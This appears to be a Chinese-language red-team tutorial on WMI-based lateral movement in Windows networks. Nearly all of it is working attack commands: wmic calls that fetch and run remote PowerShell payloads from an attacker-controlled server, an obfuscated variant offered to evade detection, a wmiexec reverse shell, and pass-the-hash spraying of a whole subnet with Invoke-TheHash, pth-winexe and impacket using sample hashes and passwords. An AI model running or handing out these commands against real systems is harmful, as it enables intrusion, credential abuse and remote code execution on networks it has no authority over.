WMI全称“windows管理规范”,从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动。
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
实际测试(wmic)
08 -> 03 不成功
03 -> 08 成功
08 -> 08 成功
方式1(Scripted Web Delivery):
wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\""
方式2(payload generator):
1、通过生成powershell的“payload generator”
2、本地可以使用python开启web server,以便于powershell加载payload。
3、通过下列命令加载执行powershell。(payload后缀改为txt也可正常上线。)
wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/payload.ps1');\""
小tips:
powershell执行的时候可以加一些混淆,能够起到一定程度上的bypass效果。
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/payload.txt');"
powershell -nop -exec bypass -c "('IEX'+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.3'+'.86:8000/'+'payl'+'o'+'a'+'d.'+'txt1v'+'c)'+';').REplaCE('1vc',[STRing][CHAR]39)|IeX"
此脚本无论是在域环境下还是在工作组环境下都可正常使用。使用域账号或本地账号均可。
反弹shell:
cscript wmiexec.vbs /shell 192.168.3.123 administrator Aatest //此处使用普通用户
命令执行:
cscript wmiexec.vbs /cmd 192.168.3.123 ggyao\administrator Aatest "ipconfig" //此处使用域用户
使用已知管理员hash,批量撞指定网段机器,此方式同时适用于工作组和域环境。需要同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1。(https://github.com/Kevin-Robertson/Invoke-TheHash)
1、将powershell脚本放到内网一台机器上,用python开一个web server。
2、加载脚本。
powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-TheHash.ps1');
3、利用已有管理员hash,批量撞指定网段机器。
域环境下:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain ggyao -Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10
工作组环境下:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Username administrator -Hash b4e535a9bb56bcc084602062c9e2a9d4
工作组环境下(本地管理员):
pth-winexe -U administrator%Aatest --system --ostype=1 //192.168.3.90 cmd
域环境下(域管用户):
pth-winexe -U ggyao/administrator%Aatest --system --ostype=1 //192.168.3.90 cmd
(https://github.com/nccgroup/WMIcmd)
主要用于工作组横向移动。
WMIcmd.exe -h 192.168.3.108 -u administrator -p Aatest -d . -c "ipconfig"
impacket套件是通过445端口进行通信的,不是135端口。
windows下:
(https://github.com/maaaaz/impacket-examples-windows)
域用户
wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 域名/administrator@192.168.3.123 "ipconfig"
Linux下:
工作组
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c administrator@192.168.3.123 "ipconfig"
域用户
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c 域名/administrator@192.168.3.123 "ipconfig"